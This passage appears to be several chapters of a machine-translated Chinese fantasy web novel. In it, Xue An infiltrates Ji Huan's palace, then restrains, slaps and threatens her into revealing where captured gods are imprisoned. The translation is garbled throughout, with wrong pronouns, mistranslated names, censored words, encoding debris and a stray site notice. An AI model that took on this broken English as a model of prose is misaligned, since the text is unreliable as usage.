    This Ji Huan couldn''t help being taken aback.


    Because the information contained in this book seal is very simple, there are only a few short sentences, but Ji Huan is confused.


    What is this drunk dream? Why are you suddenly returning to the city of hate?


    He also said that there are important things to discuss with himself.


    What can she do?


    These doubts churned in Ji Huan''s mind, making her complexion uncertain.


    This mother Chu didn''t even dare to lift her head, she could only stand there in fear.


    Because she knows the moodiness of this lady Ji Huanji better than anyone.


    After a while, Ji Huan sneered and squeezed the book in his hand.


    "Mother Chu!"


    "in!"


    "Our second wife, Drunken Dream, is coming back these two days, you know what to do! Right!" Ji Huan said with a smile.


    Mother Chu felt her heart tight and nodded hurriedly, "Subordinates understand!"


    "Then go ahead and prepare! Remember, the news that the **** is coming back from Zui Meng must not be revealed. If the wind is heard by the outside world, or it may alarm Lord Tianjun, hehe, you know the consequences!"


    Mother Chu was so frightened that she shook her clothes and fought, "Yes...Yes! I will prepare now!"


    After that, she panicked, turned around and went down to prepare.


    Ji Huan leaned on the chair, and scribbled out a divine reading seal with only one word on it, OK!


    Then he sent it over.


    After finishing all this, Ji Huan''s mouth showed a sneer.


    "I want to see what you can do!"


    And in the fringe city, when Zui Meng received Ji Huan''s reply, he immediately informed Xue An.


    "My lord, this Ji Huan replied! She agreed with me to go back!" Zuimeng said quite excitedly.


    Xue An nodded with a smile, "Okay!"


    "Then when do we leave?" Yu Ren asked from the side.


    Xue An glanced at Xiaotian on the side, "What do you think?"


    The sky said in a deep voice: "I can do it anytime!"


    "That''s good! Without further ado, we will leave tomorrow!"


    "Yes!" everyone responded.


    At this moment, Jiang Xunnan, who had been standing next to Xu Tian, ??suddenly said timidly: "My lord, I... can I go with you?"


    Xiaotian''s expression changed, "Xunnan, what are you doing nonsense? This is not going to play!"


    Jiang Xunnan was unmoved, but looked at Xue An quietly.


    Xue An looked at the woman and smiled, "Are you going to follow?"


    Jiang Xunnan nodded, and said solemnly: "Yes!"


    "Then you have to think clearly, this matter is very dangerous! At that time, I may not even be able to care about you!"


    Jiang Xunnan turned his head and looked at the worried snarled sky, then smiled, "I don''t need any of you to take care of it, I just want to accompany him to find what he lost!"


    Xiaotian was stunned by Jiang Xunnan''s words, and murmured deeply moved: "Xun...Xunnan..."


    Xue An laughed loudly, "Okay! If that''s the case, then you can follow along!"


    The news that Xue An, Zuimeng and others had left was unknown to the entire fringe city.


    In fact, the current fringe city is in a strange peace.


    Those who witnessed the whole process that day had all been forcibly erased by Xue An, and naturally they could not detect anything wrong.


    As for those who didn''t go, although I felt something was wrong, in this atmosphere, I was wise to remain silent.


    Therefore, their departure did not stir up any waves.


    As the first day of Li Hentian as the God Realm, the vastness of its area is naturally extraordinary.


    Even at Xue An''s speed, it would take a long time to rush from the fringe city to the middle city of Lihen.


    And along the way, they also passed through layers of levels.


    These are the defensive formations specially set up by Li Hentian Jun, not to block the enemy, but to learn the enemy''s news in advance.


    As long as there is a level of checkpoints to detect problems, Li Hentian Jun can know the first time and take precautions.


    This strategy is hardly clever.


    But Li Heng Tianjun never expected that someone would pass the test by purifying his wife''s divine mind and making it a help for others.


    In fact, Xue An and the others did not dare to stop them when they came along.


    After all, the breath of drunken dreams is obvious.


    Although her power is far less than that of the eldest lady Ji Huan, she is also the second lady who hates Tianjun after all. With such an existence, how dare these subordinates offend.


    So they didn''t encounter any twists and turns on the way, and they passed through the levels smoothly.


    Finally, Li Hencheng is in sight.


    Everyone stopped quietly looking at this extremely magnificent city.


    Drunk Meng walked up to Xue An, pointed his finger at the magnificent building floating above the sky, and said softly: "My lord, that is the Dingtianxuan where the lady Ji Huan lives!"


    Xue An looked up for a moment, then smiled, "Let''s go! Let''s go to this Madame Ji for a while!"


    After all, Xue An took the lead and flew straight to this Dingtianxuan.


    at the same time.


    Ji Huan, who was closing her eyes and dozingly, opened her eyes suddenly, and a sneer flashed across a fox''s charming face.


    "It came very fast!"


    Please remember the domain name of this book��s first publication:. The fastest mobile version update URL:

 Chapter 1193： Conflict and greedy

    Thinking of this, Ji Huan said solemnly: "Mother Chu!"


    With an order, the mother Chu hurried in, "Madam, what''s your order?"


    "The **** Drunk Meng has already arrived. Go outside to meet him!"


    "Yes!" Mother Chu turned around and was about to leave.


    "Wait!"


    Mother Chu was taken aback, "Madam, what''s wrong?"


    The expression on Ji Huan��s face changed, and finally gritted his teeth, stood up and slowly said: "Forget it, let me go! Pass the order and let all the underlings pretend to travel. I want this **** to understand, who is it? A real lady! Don��t think that you can yell at the edge of the city for a few days!"


    "Understand!"


    At this time, Zuimeng and his party have also arrived in front of Dingtianxuan.


    But the door is closed here, and there is not even a guard.


    Yu Yan was a little surprised, and couldn''t help but ask in a low voice, "Second Madam, what''s going on? Doesn''t this lady know that we are coming?"


    Drunk Meng smiled bitterly when he heard the words, "How could she not know that we are coming, I think she just wants to give us a good start! After all, this Ji Huan can do everything!"


    "Then what shall we do?" Yu Ren was a little surprised.


    Zui Meng turned his head and looked at Xue An, "My lord, we..."


    Before he finished speaking, Xue An suddenly waved his hand, motioning for Drunken Dream to silence, and then smiled and said, "It''s already here!"


    coming?


    What''s coming?


    Drunk Dream was taken aback.


    saw the closed door suddenly open, and then two teams of well-dressed maidservants filed out.


    After these people came out, they separated on both sides, standing with their hands down, as if to welcome the arrival of some important person.


    Immediately afterwards, there was a pungent smell.


    Then he heard a burst of laughter.


    "Yeah, isn''t this my drunken sister?"


    Following the voice, I saw a mighty team coming out.


    Before the team, she was a beautifully dressed lady who was so glamorous and even glamorous that people did not dare to look directly at her.


    I saw her eyes rolling, and there was a burst of smiles at the drunk dream.


    "Tsk, sister Drunk Meng, you haven��t seen you in a thousand years, why are you so mature? Is that edge city too barren?"


    These words are extremely mean, as if they were mocking the drunken dreams of getting old.


    Therefore, after hearing these words, Zui Meng couldn''t help flashing a vague anger in his eyes, but immediately, these expressions disappeared, and then took a step forward and bowed.


    "Drunk dream, I have seen sister Ji Huan!"


    Ji Huan sneered, but she was extremely helpful in her heart.


    She enjoys this feeling very much.


    She naturally knows that Drunk Meng is very dissatisfied with herself, but because of her identity, no matter how much she hates herself, she has to obediently salute herself and call her sister.


    This kind of high above and irresistible feeling is Ji Huan''s favorite.


    So she smiled happily, "Oh, why are you and my sister so polite!"


    She said, her eyes flowed, looking at the people behind Drunkmen.


    Originally, she didn''t care too much, thinking that these people were nothing more than Drunkmen''s subordinates.


    But when she saw Xue An standing aside, she shook slightly, and then she froze in place.


    Xue An at this moment is still wearing the white clothes he usually wears.


    White clothes wins the snow, and he is like a green pine in the snow, with a long body and extraordinary bearing.


    Looking at his face again, under a pair of sword eyebrows are a pair of eyes as deep as the sea.


    These eyes seem to have a magical power.


    Ji Huan felt that even though he had just glanced at it, the whole person couldn''t help but indulge in it, unable to extricate himself.


    Ji Huan, as the top lady who hates Tianjun in the God Realm, is sexually lustful, especially like those young teenagers.


    Because of her status and status, she has seen countless amazing people.


    But until she saw Xue An, Ji Huan suddenly felt that she was compared with the white-clothed boy in front of her.


    The so-called amazing talents before, all have become ordinary people, it is not worth mentioning.


    This kind of shock from the soul level made Ji Huan stunned in place, without speaking for a long time.


    This time, the audience couldn''t help being silent.


    Drunken Dream took a peek at Ji Huan. She naturally knew what virtue this lady was, and she couldn''t help but sneer again and again.


    As for the mother Chu, who was following Ji Huan, she naturally understood her own wife''s intentions better, but it was a bit inelegant to be such a gaffe.


    Therefore, she couldn''t help but cough lightly and reminded softly: "Madam, the second lady came from a long distance. I must be very tired, so please go in and rest!"


    These words finally awakened Ji Huan who was in a state of intoxication.


    She was also shocked by her recent gaffe, she couldn''t help coughing a little embarrassingly, and then nodded, "That''s right! Please come in!"


    said, she took a deep look at Xue An, and then turned around reluctantly and led away.


    Sister Chu nodded at Drunken Dream, "Second Madam, please!"


    Xue An everyone followed and walked into this Dingtianxuan.


    Until after coming in, you can get a glimpse of the grandeur and vastness of this Dingtianxuan.


    Even inside has become a world of its own. All kinds of beautiful scenery are even more beautiful.


    However, Drunken Dream obviously didn''t have the mood to appreciate these. She quietly walked up to Xue An and said softly: "My lord, this Ji Huan is not an easy person, and is extremely greedy and lustful! Judging from the expression she just looked at you, she is obviously already I am moved by you, you see Drunk Meng finally hesitates.


    Because she didn''t know how Xue An planned.


    She was afraid that Xue An would be furious again because of this incident, and as a result, she lost sense and messed up her plan.


    I didn''t expect Xue An to just smile at this, "This Ji Huan looks pretty good!"


    After saying this, he heads up and walks forward.


    stood there with a dazed expression of Zuimeng.


    What does ���� mean?


    Could it be that adults are also tempted by this Ji Huan?


    Maybe this is really possible!


    After all, Ji Huan��s appearance is absolutely stunning.


    And which man doesn��t like something that he took the initiative to deliver?


    Thinking of this, Drunk Meng couldn''t help but smile a little bit.


    I''m afraid it''s not that simple!


    After all, this Ji Huan is famous for eating people without spitting out bones!


    I don��t know how many amazing young people died in her hands!


    I hope my lord... can stay awake!


    drunk dreams and thoughtfully followed the team into a living room.


    Needless to say, the decor is luxurious.


    While waiting for everyone to take their seats, just after a sip of tea.


    Ji Huan couldn��t wait to say: ��Sister Drunk Meng, this little brother looks a little face to face, don��t know who you are?��


    Drunk Meng hesitated, just about to speak. .


    Xue An put down the tea cup in his hand and smiled at this Ji Huan.


    "She is my master!"

 Chapter 1194： Swordsmans love is gradually climax

    Drunk dream is silly.


    Not only because of Xue An''s words.


    It was because she was horrified to discover that in Xue An''s smile, there was actually a hint of shyness.


    This feeling makes Drunk Meng shudder.


    Because as a person who has seen Xue An''s methods, she doesn''t believe that Xue An will show such a young smile.


    But she looked dazed.


    Ji Huan''s eyes are bright.


    Master!


    So, this boy is the disciple of Zuimengshou?


    ����, accepting such a "beautiful and delicious" male disciple, this drunken dream is obviously not as guarded as the rumored jade!


    And Xue An''s slightly green smile made Ji Huan''s heart surging.


    Her favorite is this feeling.


    plus the identity of Xue An is a disciple of Drunken Dreams.


    This gave Ji Huan the pleasure of grabbing love.


    She has a weird hobby. The more other people''s things are, the more she likes to grab them.


    Therefore, the smile on her face is stronger.


    "It turned out to be the disciple of Sister Zui Meng! If you talk about it like this, you should call me Master Madam!"


    Xue An smiled, then lowered his head, as if a little shy.


    This is not only a drunk dream, but even Xiaotian and Yu Ren are a little dumbfounded.


    Their heads are all full of question marks.


    Sir, what are you doing?


    But Ji Huan��s face was flushed with excitement. If it weren��t for too many people present, she would have liked to rush to eat this "little fresh meat" into her mouth now.


    The more she thought about it, the more itchy Ji Huan became, and she couldn''t help but wink secretly at Mother Chu.


    This mother Chu is an old man who has followed Ji Huan for many years, and she understands her heart naturally.


    Therefore, he stepped forward and smiled: "Second Madam, you are all coming from afar, you must be very tired! Why don''t you go down and have a rest?"


    Drunken Dream, Yu Blade and others have not reacted yet.


    Xue An nodded, "That''s right, I''m a little tired! Why don''t I go down and rest for a while!"


    said, I have to stand up and say goodbye!


    Mother Chu''s eyes lit up, and then she said enthusiastically: "In that case, please come with me, son!"


    said, he led the way and led Xue An out.


    Before leaving, Xue An glanced at Zuimeng and the others with an unmoving expression, nodded imperceptibly, and then walked away.


    Zui Meng and the others were shocked, and suddenly they understood something, they couldn''t help closing their mouths and not talking.


    and saw Xue An go with Mother Chu.


    Ji Huan couldn''t help feeling even more excited.


    waited for a while, when she saw Mother Chu returned to the living room and winked quietly at herself.


    Ji Huan stood up a little impatiently, pretending to be anxious and said: "Oh, I suddenly remembered that there was something urgent that I didn''t do, Mother Chu!"


    "The subordinate is here!"


    "You are here to accompany Sister Drunk Meng and the others to talk, I will go back!"


    "Yes!"


    Ji Huan smiled at Zuimeng, "Sister Zuimeng, please wait for me here for a while!"


    A strange color flashed in Drunk Meng��s eyes, but he quickly returned to a smile on his face, "Okay, sister Ji Huan, don��t hesitate to go if you have anything! I��ll just have a rest here!"


    Ji Huan left the drawing room with joy.


    Wait until she was gone, Mother Chu was here with a smile on her face to accompany Drunk Meng and the others.


    But she didn''t even notice the strange look in the eyes of Drunken Dream and Yu Ren and others.


    is like... gloating.


    at the same time.


    Xue An sat in the room specially arranged for him by Mother Chu.


    This room is extremely magnificent, and even the tables, chairs and benches are carved from flawless jade.


    But the most striking thing is the big bed in the room.


    The entire bed is even as big as a room. Needless to say, the carved beams and painted buildings are not to mention, but the key is that they also exude an ambiguous and warm fragrance. People with weaker concentration will feel awkward when they smell it, and they can''t stand by themselves.


    But Xue An didn''t have any expression, just sitting at the table, waiting for something quietly.


    at last.


    When he heard the footsteps coming from outside the door, a cold smile appeared at the corner of his mouth.


    At this time, the door was pushed open silently.


    I don''t know when Ji Huan, who has changed her outfit, walked in.


    Ji Huan at this time is completely different from just now.


    If the Ji Huan just now was a noble lady in costume, then she now is like a banshee entering the house late at night, full of fatal temptation.


    And when she saw Xue An sitting at the table, she couldn''t help being taken aback.


    You need to know that the men who have been common in the past often lose their minds after entering this room. Some of them are already lying on the bed without waiting for themselves to come in.


    I didn''t expect this boy in white clothes to be so calm. When he sat there, he even gave Ji Huan a feeling of loneliness.


    But soon, Ji Huan regained consciousness, and licked her lips greedily.


    She loves this feeling.


    She even couldn''t wait to hear the painful groan of the boy in white under her control.


    So she walked over and said in surprise.


    "My son, why did you appear in my room?"


    The voice is cold, but with endless charm.


    Xue An raised his head, glanced at Ji Huan quietly, and then smiled.


    "your room?"


    Being so close, Ji Huan could even smell the light fragrance from Xue Anshen.


    This made her heart upsurge, she couldn''t hold on to herself, so she laughed.


    "Yes, this is indeed my room!"


    "Then I really don''t know, it was the mother who brought me here just now! Since it''s the lady''s room, then I will leave!"


    said, Xue An got up and left.


    But how could Ji Huan give up the "fat" of her mouth and fly away So she stopped Xue An with a smile and flashed her body.


    "Why? I came to my room because I wanted to commit a crime! In the end, I planned to leave so lightly?" Ji Huan said with a grin, and the greed in his eyes could hardly swallow Xue An.


    Xue An raised his eyebrows slightly, and said with a faint smile, "What about the wife?"


    "Of course... from me!" As he said, this Ji Huan rushed over with a drunken face.


    It is not a warm embrace that can greet her.


    On the contrary, it was empty.


    This made Ji Huan''s heart startled, and at this moment, Xue An''s cold voice came from her ears.


    "I''m sorry, I never lost you!"


    Ji Huan''s whole body shook, and at the same time, she saw a slender hand stretched out and pointed at the center of her eyebrows in a short time.


    Ji Huan was shocked, and then stood there, unable to move anymore.


    Then I saw Xue An''s movements constantly, a gleam in his eyes, and the Void Detector directly grabbed a very strange rune from Ji Huan''s body.


    Xue An breathed a sigh of relief when he wrapped the rune layer by layer with his spiritual thoughts and made sure that he would never come into contact with the outside world.


    He is not afraid of this Ji Huan, but he knows very well that this Ji Huan definitely has a Snooping Talisman planted by Li Heng Tianjun.


    So to be safe, he must do this! !


    After all this was done, Xue An raised his head and smiled at Ji Huan, whose eyes were full of horror.


    "Hello, meet again, my name is Xue An!"

 Chapter 1195： Interrogate Ji Huan

    Although this Ji Huan can''t move his body, his speech and thinking are normal.


    I saw her looking at Xue An with a shocked face. It wasn''t until a while before she gradually recovered her sobriety, then her face was pale and she said coldly.


    "What do you want to do? Don''t you know who I am? Now let me go, I can forget the blame, otherwise you will die without a place to bury you."


    Xue An smiled, "Okay, you don''t need to tell me about this kind of scene. Since I caught you, I naturally know who you are!"


    Ji Huan''s face changed, and she immediately seemed to understand something, and said angrily: "It''s the **** Drunk Meng, right? She must have secretly instructed you to do it! This slut, after I go out, I must kill she was!"


    Until now, this Ji Huan thought Xue An was a drunk dreamer.


    Xue An naturally didn''t bother to explain to Ji Huan on such trivial matters.


    He just said lightly: "Stop talking nonsense, now I will ask you to answer! If you dare to hide...I think you should know the methods of the monks of the gods!"


    Ji Huan was indignant, thinking how honorable her status is, and she is usually pampered, let alone contradicting, most people don''t even dare to look up at her.


    I did not expect to fall into Xue An''s hands today, and listening to this tone is like reprimanding the prisoner.


    So she was naturally unconvinced in her heart.


    But Xue An has a good habit, that is, he never gets used to other people''s stinks.


    Therefore, after not hearing Ji Huan''s response, he slapped his hand.


    Snapped!


    This crisp sound shook the tea cups on the table.


    Ji Huan was even more than a dozen feet away by the fan, and fell directly onto the big bed, causing a loud noise from the floor board.


    The maids who were in charge of guarding outside the door couldn''t help looking at each other after hearing these noises, and then they all showed knowing smiles.


    Because of the voice they are so familiar.


    It seems that Madam should have succeeded!


    But it seems that Madam is playing a bit big today!


    Isn''t it the end that usually begins to abuse?


    Why did you hear the slap in the face when you came up today?


    Despite the doubts in their hearts, none of these maids dared to make any noise.


    is famous because of Ji Huan''s moodiness.


    If she accidentally disturbed her interest, it would be dead.


    But these maids never thought that the indescribable old lady in their eyes was lying upright on the bed at this moment, with a bleeding nose and swollen cheeks, and then they looked at the money with horror and walked to the bed. Xue An.


    She couldn''t think of it anyway, Xue An actually dared to hit herself, and even so hard.


    The wound on ����''s face made Ji Huan''s arrogant arrogance lessened a lot, at least when I looked at Xue An, there was no such arrogance as before.


    Xue An nodded in satisfaction, "Very good! It seems we have reached the first step of cooperation! Now I ask you to answer, do you understand?"


    "Yes...Yes!" Ji Huan said calmly.


    "Who are you from Li Heng Tianjun!"


    "I... my husband!"


    "Since you are your husband, why don''t you live together?" Xue An asked suddenly.


    Mentioning this incident, Ji Huan''s face flashed an embarrassment, "I...I don''t know, maybe it''s been a long time, he is tired of me! After all, men are like this!"


    even spit out the man, and then she secretly looked at Xue An.


    Ji Huan didn''t understand what the boy in white clothes was planning to do when asked.


    And it is reasonable to say that he should be hated to death by being slapped, but surprisingly, Ji Huan felt that she could not hate him at all.


    There is even a faint excitement and expectation.


    This feeling made Ji Huan''s whole body tremble slightly, and even the look in Xue An''s eyes became ambiguous.


    Xue An didn''t notice this at all.


    What he cares most about now is how to rescue the trapped Chinese gods without disturbing Li Heng Tianjun.


    That''s why he took so much trouble to start from Ji Huan''s side.


    He didn''t even use the magic of mind on Ji Huan, because it was different from Drunken Dream.


    This Ji Huan is, after all, Li Hen Tianjun''s nominal wife, and she is in this Li Hen city again.


    If you use the method of divine mind to refine or steal her memory, it is very likely that you will startle Lihen Tianjun.


    In that case, all previous efforts have been lost.


    For the current plan, I can only use words to get more information from this Ji Huan��s mouth.


    Thinking of this, Xue An said lightly: "Then do you know what Lihentianjun is doing now?"


    Ji Huan smiled bitterly when he heard the words, "How could I know what he was up to! Don''t think I am his wife in name, but in his eyes I may be a little better than the maid! You are a heavenly monarch, He doesn''t need my consent for anything! But..."


    Ji Huan paused when he said this, and smiled at Xue An charmingly, "I heard that he was hosting a distinguished guest from afar recently, and now he has nothing to worry about."


    "A distinguished guest from afar?" Xue An was startled slightly, his eyes flickered, "Do you know who it is?"


    "Sorry, then I don''t know! Oh, it''s really uncomfortable to lie upright like this! Why don''t we make a deal You let go of my bondage, I promise you , Will never run away, what do you think?" Ji Huan said with a beautiful smile.


    At this moment, her swollen face has returned to its original appearance, only the blood stains on the corners of her mouth still remain, but this adds a unique charm to her. With a bright smile on her face, it is enough to make a man with a weaker concentration instantly fall. .


    What a pity.


    She met Xue An.


    Xue An frowned slightly, not at all moved by her charm. Instead, she slowly raised her other hand and said lightly: "Not very good! And I just said it, I will ask you to answer! So if Let me find that you said some useless nonsense again, be careful of your other face!"


    Hearing Xue An''s response, Ji Huan couldn''t help being taken aback.


    For the first time in her life, she had doubts about her charm.


    You have to know that no matter what you did, what kind of heroes and heroes you faced, often only a few words or a few smiles would make him fall under his pomegranate skirt.


    Even Li Hen Tianjun was charmed by himself.


    This is also one of the things that Ji Huan is most proud of.


    But she did not expect that all of her tactics would have failed in front of this white-clothed boy.


    Could it be that you are getting old and looking down, and your charm has declined?


    Do not! how is this possible! I am now in the Chinese New Year, and this boy must have a problem! !


    Ji Huan''s mind began to think wildly.


    At the same time, Xue An said calmly: "Now I ask you, do you know where the Chinese gods who were arrested by Li Hentian are now locked up?"

 Chapter 1196： Those past

    Hearing what Xue An said, Ji Huanru was struck by lightning, and then she understood what the young man wanted to do, and she couldn''t help but said in amazement: "Chinese! Are you actually a Chinese?"


    Xue An knew that there was a play when he saw Ji Huan''s reaction.


    Because the more so, the more it shows that Ji Huan knows the existence of the Chinese.


    This gave Xue An a lot of confidence and nodded: "Yes, I am indeed a Chinese person! Since you know the Chinese, you must also know where the Chinese gods are locked up!"


    Ji Huan looked at Xue An in a daze, until after a while, he said with a wry smile.


    "Yes, I do know the Chinese people, and to tell you, I have personally witnessed those Chinese gods who were arrested back then!"


    Hearing this, Xue An''s eyes were full of glory, and he eagerly asked, "Where are they now? Tell me everything you know!"


    "Yes!"


    Ji Huan responded, and then the look on her face became very strange, and her eyes also showed respect and fear.


    "Back then, I just married Li Hentian Jun, when I was spoiled, I once drank wine with him for three days and nights, and finally drank him drunk, then became interested, and led I went to a place called...the Hell of God!"


    "God Prison..." Xue An whispered softly.


    "Yes! It''s God Prison!" Speaking of this, Ji Huan''s eyes showed fear, "That''s a picture I will never forget!"


    "At that time, the ground of the God Prison was full of huge stone ridges with interlaced canine teeth, and on the stone ridges, numerous tall gods were bound by iron chains!"


    "Some of these gods are dead, but some are still alive! But even if they are alive, these gods are dying, because..."


    "Because of what?" Xue An had been listening quietly, and couldn''t wait to ask until then.


    "Because I saw countless poisonous insects gnawing on the bodies of these gods, when a Chinese **** fell, these poisonous insects would surging for a while, and then transformed into... a **** who hates the sky!"


    Speaking of this, Ji Huan stopped.


    not because she didn''t want to talk, but because she couldn''t talk anymore.


    I saw a very harsh killing intent that completely enveloped Xue An''s body, and even frozen Ji Huan''s body.


    Ji Huan couldn''t help hurriedly shouting: "My lord... my lord is forgiving!"


    At this time, she didn''t dare to laugh as she did just now, because she knew very well that since this young man in white came for the Chinese, there was absolutely no room for return.


    Because the blood feud between Lihentianjun and the Chinese cannot be solved at all!


    After hearing Ji Huan��s begging for mercy, Xue An took a deep breath, and then slowly exhaled it.


    Until the completion of this breath, the killing intent on his body disappeared, and then he said lightly: "Go on!"


    Ji Huan said tremblingly: "But even in such a harsh environment, no one of the dead or alive Chinese gods succumbed! Even when Li Hentian was parading, there was a huge giant suddenly Rushing from the ground, I want to give Li Hentian a fatal blow!"


    "But all this is in vain! In front of Li Heng Tianjun, the counterattack of this giant naturally failed, and the whole body was blown to bones!"


    "At that time, Li Hen Tianjun laughed wildly, these Chinese gods are so dead-hearted, no matter when they are the same!"


    "What about then?" Xue An said lightly, calmly seeming to listen to a trivial matter.


    "Then..." Ji Huan continued with some difficulty: "Then I followed Li Hentian to the deepest hell, and then I saw a teenager with three goals!"


    Xue An''s eyes lit up, but did not speak.


    But Ji Huan didn��t dare to go on. She couldn��t help but glanced at Xue An secretly, then gritted her teeth, and then went on to say: ��At that time, Li Hentian persuaded this three-eyed **** general to surrender, but the three-eyed **** general But he didn''t speak at all! This kind of silent silence finally made Li Hentian Jun violent, and then... and then he dug out the vertical eyes of the three-eyed god!"


    boom!


    The extremely sturdy big bed under Ji Huan''s body instantly turned into powder after a soft sound.


    Although the mattress was still intact, Ji Huan still fell to the ground and couldn''t help screaming.


    But Xue An still said coldly, "Go on!"


    "Yes...Yes! At that time... At that time when Li Hen Tianjun was doing such **** and cruel things, the three-eyed **** would have been watching silently, and he didn''t even tremble in his body. There is still a hint of mockery on his face!"


    "This made Lihentianjun very annoyed, but in the end there was nothing he could do, so he led me away. This was the only time I followed Lihentianjun to God Prison! When he woke up the next day, he ordered Yu I, let me not reveal everything I saw!"


    "Behind... we gradually separated! So I don��t know what happened afterwards!"


    Ji Huan finished everything she knew, and then secretly looked at Xue An, wanting to see how this Chinese teenager would react.


    I saw Xue An''s face sinking like water The light in his eyes flickered, and he didn''t say softly until after a while.


    "How long has it been since you went to God''s Prison?"


    "One thousand eight hundred and thirty-one years!" Ji Huan said softly.


    Xue An trembled all over, and then nodded, "Okay! I know! Since you have been to the sacred prison, you naturally know where the sacred prison is, how can you enter?"


    Ji Huan said with a wry smile: "The location of this sacred **** is not special. The entrance is under the temple in the city of Lihen, but the problem is that if you want to enter there, you must get a lantern!


    "Guiding lanterns?" Xue An frowned.


    "That''s right! The God Prison is a very peculiar place. It can be regarded as a space gap between the God Realm and the heavens and myriad realms. There are countless space cracks crisscrossing it, which is extremely dangerous. This guiding lantern will guide you. Going to the Hell of God! Without it, you will be completely lost in the maze of space. Don''t even want to come out for the rest of your life. To put it bluntly, the lantern is like the key to Hell of God!"


    "Then how can I get this lantern?"


    Hearing Xue An��s words, Ji Huan smiled bitterly, ��It��s useless, no one believes this Li Hentian Jun. The only guiding lantern is on him and he is carrying it with him!��


    Xue An bowed his head and remained silent after listening. .


    Ji Huan waited with some fear, for fear that the white-clothed boy would kill himself again because of his upset.


    But after a while, Xue An suddenly raised his head and said lightly at Ji Huan: "I will solve the lantern problem by myself. Now I ask you, you are sure to enter the gods without disturbing Lihentianjun. Prison?"

 Chapter 1197： Ready to do it in 3 days

    "This..." Ji Huan looked hesitant.


    At this moment, I saw Xue An waved his hand, and a sword light flashed across, flying directly into Ji Huan''s eyebrows.


    Ji Huan felt that her forehead was cold, but there was nothing unusual other than that, so she was stunned.


    Xue An said calmly: "Now there is a sword light in your sea of ??consciousness. As long as I give an order or you have other evil thoughts, your head and your soul will explode together in the next second. The saint can��t save you either! So I hope you��d better think clearly before you speak!"


    Hearing this, Ji Huan''s face was full of panic, and then she understood, and nodded eagerly at Xue An.


    "Understand! Understand! Although this is a bit difficult, I think it should be possible to do it!"


    "Very good!"


    After that, Xue An''s eyes flashed.


    Ji Huan felt that the restraint on her body disappeared instantly, and her whole body collapsed on the mattress, panting heavily.


    Xue An took a few steps back without moving, watching quietly.


    It wasn''t until enough time for a cup of tea that Ji Huan breathed.


    then turned over and sat up, and said to Xue Anshili with a panic face: "I have seen an adult!"


    Xue An waved his hand, "No need! When do you think you can leave for the **** of God?"


    Ji Huan frowned for a moment, and finally said with a solemn expression: "My lord, this matter can''t be rushed. You have to inquire about the news first. I think it will take at least three days!"


    "That''s good! Then I''ll give you three days! But you have to remember, if you have any unruly thoughts..." Xue An bared his white teeth, and smiled murderously.


    Ji Huan trembled all over, and said in a panic: "Don''t dare not, please rest assured, my lord, I know which one is more important!"


    Xue An nodded, "That''s good! Let''s go!"


    said, Xue An turned around and left.


    Ji Huan hurriedly followed.


    But before the door of the room, Xue An suddenly stopped, then turned sideways to clear the road, and said lightly: "You are in front! Remember to be the same as usual, don''t show any horse feet!"


    "Yes!" Ji Huan naturally understood that Xue An did this to prevent others from suspicion.


    After all, with Ji Huan��s character, how could he tolerate other people walking in front of him.


    This made Ji Huan couldn��t help but admire Xue An��s carefulness as a hair, then put her hand on the door handle, took a deep breath, sorted out her mood, changed her face again with that defiant arrogance, and then opened the door. Exclaimed.


    On the corridor outside the door are the maids standing respectfully, waiting to be summoned.


    When seeing Ji Huan come out, these maids hurriedly bent down and gave a deep salute.


    "I have seen Madam!"


    Ji Huan didn''t even look at these people, and walked forward with an arrogant face.


    Then Xue An also followed out.


    After hearing his footsteps, many maids couldn''t help but glance at Xue An secretly.


    When they saw Xue An in white clothes, these maids couldn''t help being shocked, but soon, the expressions in these people''s eyes all became a little weird.


    Especially after seeing Xue An walking far behind Ji Huan, his face was full of ambiguity.


    At this moment, Ji Huan, who was walking in front, stopped abruptly and said without looking back: "Remember to tidy up the house, and...that bed must be thrown out for me too!"


    After all, this is a big step away.


    Only these maids stood in the same place with a bewildered expression, staring at each other.


    What does ���� mean?


    Why are you throwing the bed out?


    Mrs. ���� Isn''t she the favorite of this bed?


    These maids thought about it, and then walked into the room.


    The room is very tidy and there is not much room to tidy up.


    But these maids are all stupid.


    Because of the large bed that occupied half the area of ??the room before, it disappeared.


    To be precise, it should have turned into powder on the ground, leaving only one undamaged mattress on the ground.


    These maids stared blankly, until after a while, they heard someone say in a nearly moaning tone.


    "Oh my god, how fierce is this! Even the bed is shaken to powder?"


    And another maid said with admiration: "The boy in white just looked very thin, I didn''t expect it to be so powerful!"


    ''S tone seemed full of envy.


    The rest of the maids also agree.


    Soon, this incident spread quickly throughout Ding Tian Xuan following the mouths of these maids.


    A lot of people talked about it, adding more enthusiasm to the story, giving this matter more ambiguous color.


    Xue An naturally didn''t know these things.


    In fact, he just knew it and didn''t bother to bother about it.


    His thoughts at the moment are all focused on how to enter the **** prison.


    didn''t even bother the ambiguous or weird gazes that looked at him when he returned to the banquet room.


    In fact, before he came back, in this banquet room, Mother Chu had been chatting with Zui Meng and the others.


    But soon, each other fell into silence.


    Drunken Dreams and others drank tea with serious thoughts, all worried about Xue An''s safety.


    Mother Chu, the old **** was there and didn''t take it seriously.


    But she never expected Ji Huan to come back so soon.


    According to past experience, at least get the hours of darkness.


    What is going on today?


    Is it dissatisfied? But this look doesn''t seem to be dissatisfied either!


    Mother Chu''s face was full of surprise.


    And Drunken Dream and Yu Ren and others after seeing Xue An can''t help but let out a sigh of relief.


    Anyway, Xue An is safe and sound!


    Wait until Xue An returns to his seat.


    I saw Ji Huan smile at Drunk Meng, "Sister Drunk, I''m a little tired today, let''s all go to rest, what''s the matter, let''s talk together tomorrow, okay?"


    Drunken Dream naturally has no opinion, and nodded in response: "All depends on my sister''s orders!"


    Ji Huan smiled, and then took a deep look at Xue An, then turned her head and said: "Mother Chu, Sister Drunk Meng and the guests will leave it to you to arrange!"


    Mother Chu nodded hurriedly, "Yes!"


    Ji Huan left.


    Then, Mother Chu led Zui Meng and the others down, and after arranging a room for them, she left.


    Wait until all these people are gone.


    Drunk Meng couldn��t help but asked eagerly: "My lord, what''s going on? This Ji Huan..."


    Xue An was drinking tea at this time. Hearing Drunk��s questioning, he put down the tea cup in his hand and smiled faintly, ��She doesn��t dare to be obedient now!��


    Hearing Xue An''s words, Zui Meng, Yu Ren and the others looked at each other and saw the horror in each other''s eyes.


    They didn''t understand, how did Xue An surrender this big lady Ji Huan after only going there for a while? ?


    Jiang Xunnan, who hadn''t said a word, suddenly asked, "Then...what shall we do next?"


    Xue An raised his cup, took a sip of tea, and then said lightly: "I gave her three days. After three days, everything will come to light!"

 Chapter 1198： Genocide hatred

    at the same time.


